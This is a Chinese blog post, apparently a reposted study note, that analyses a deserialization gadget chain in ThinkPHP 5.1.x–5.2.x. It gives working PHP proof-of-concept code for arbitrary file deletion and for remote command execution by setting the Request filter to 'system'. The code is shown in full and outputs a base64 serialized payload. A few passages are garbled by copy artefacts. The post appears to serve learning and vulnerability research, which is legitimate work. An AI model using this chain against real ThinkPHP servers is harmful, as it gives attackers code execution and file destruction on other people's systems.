[ POP链 ] thinkphp5.1.x~5.2.x

thinkphp 5.1.x~5.2.x反序列化思路学习

起点:/thinkphp/library/think/process/pipes/Windows.php的__destruct()
在这里插入图片描述
__destruct()里面调用了两个函数,一个关闭连接close()方法,忽略,然后我们跟进removeFiles()函数。
在这里插入图片描述
这里使用了$this->files,而且这里的$files是可控的。所以存在一个任意文件删除的漏洞。

POC可以这样构造:

namespace think\process\pipes;

class Pipes{

}

class Windows extends Pipes
{
	private $files = [];

	public function __construct()
	{
		$this->files=['需要删除文件的路径'];
	}
}

echo base64_encode(serialize(new Windows()));

这里只需要一个反序列化漏洞的触发点,便可以实现任意文件删除。

removeFiles()中使用了file_exists$filename进行了处理。我们进入file_exists函数可以知道,$filename会被作为字符串处理。

而__toString 当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString 方法。我们全局搜索__toString方法。

在这里插入图片描述

我们跟进\thinkphp\library\think\model\concern\Conversion.php的Conversion类的第224行,这里调用了一个toJson()方法。
跟进toJson()方法

在这里插入图片描述
继续跟进toArray()方法

在这里插入图片描述

我们需要在toArray()函数中寻找一个满足$可控变量->方法(参数可控)的点,首先,这里调用了一个getRelation方法。

我们跟进getRelation(),它位于Attribute类

在这里插入图片描述
由于getRelation()下面的if语句为if (!$relation),所以这里不用理会,返回空即可。
然后另一个调用了getAttr方法,我们跟进getAttr方法

在这里插入图片描述
继续跟进getData方法

在这里插入图片描述

通过查看getData函数我们可以知道$relation的值为$this->data[$name],需要注意的一点是这里类的定义使用的是Trait不是class。自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。然后我们需要找到一个子类同时继承了Attribute类和Conversion类。

在这里插入图片描述
我们可以在\thinkphp\library\think\Model.php中找到这样一个类

在这里插入图片描述
我们梳理一下目前我们需要控制的变量

  1. $files位于类Windows
  2. $append位于类Conversion
  3. $data位于类Attribute

利用链如下:

在这里插入图片描述

代码执行点分析:

我们现在缺少一个进行代码执行的点,在这个类中需要没有visible方法。并且最好存在__call方法,因为__call一般会存在__call_user_func__call_user_func_array,php代码执行的终点经常选择这里。我们不止一次在Thinkphp的rce中见到这两个方法。可以在/thinkphp/library/think/Request.php,找到一个__call函数

__call调用不可访问或不存在的方法时被调用。

在这里插入图片描述
但是这里我们只能控制$args,所以这里很难反序列化成功,但是 $hook这里是可控的,所以我们可以构造一个hook数组”visable”=>”method”,但是array_unshift()向数组插入新元素时会将新数组的值将被插入到数组的开头。这种情况下我们是构造不出可用的payload的。

在Thinkphp的Request类中还有一个功能filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。

在这里插入图片描述
但这里(Request.php)的 v a l u e 不 可 控 , 所 以 我 们 需 要 找 到 可 以 控 制 value不可控,所以我们需要找到可以控制 valuevalue的点。

在这里插入图片描述

但是input函数的参数不可控,所以我们还得继续寻找可控点。我们继续找一个调用input函数的地方。我们找到了param函数。

在这里插入图片描述
这里仍然是不可控的,所以我们继续找调用param函数的地方。找到了isAjax函数

在这里插入图片描述
在isAjax函数中,我们可以控制$this->config[‘var_ajax’]$this->config[‘var_ajax’]可控就意味着param函数中的 n a m e 可 控 。 p a r a m 函 数 中 的 name可控。param函数中的 nameparamname可控就意味着input函数中的$name可控。

param函数可以获得$_GET数组并赋值给$this->param

再回到input函数中

在这里插入图片描述

$data = $this->getData($data, $name);

$name的值来自于$this->config[‘var_ajax’]

我们跟进getData函数。

在这里插入图片描述
这里$data直接等于$data[$val]

然后跟进getFilter函数

在这里插入图片描述
这里的$filter来自于this->filter,我们需要定义this->filter为函数名。

我们再来看一下input函数,有这么几行代码
在这里插入图片描述

这是一个回调函数,跟进filterValue函数。

在这里插入图片描述

通过分析我们可以发现filterValue.value的值为第一个通过GET请求的值,而filters.keyGET请求的键,并且filters.filters就等于input.filters的值。

我们尝试构造payload,这里需要namespace定义命名空间

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["ethan"=>["calc.exe","calc"]];
        $this->data = ["ethan"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

跟了一下还是里不清利用的原理,思路清晰了一些,日后继续反复咀嚼

来源:https://www.anquanke.com/post/id/187274

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值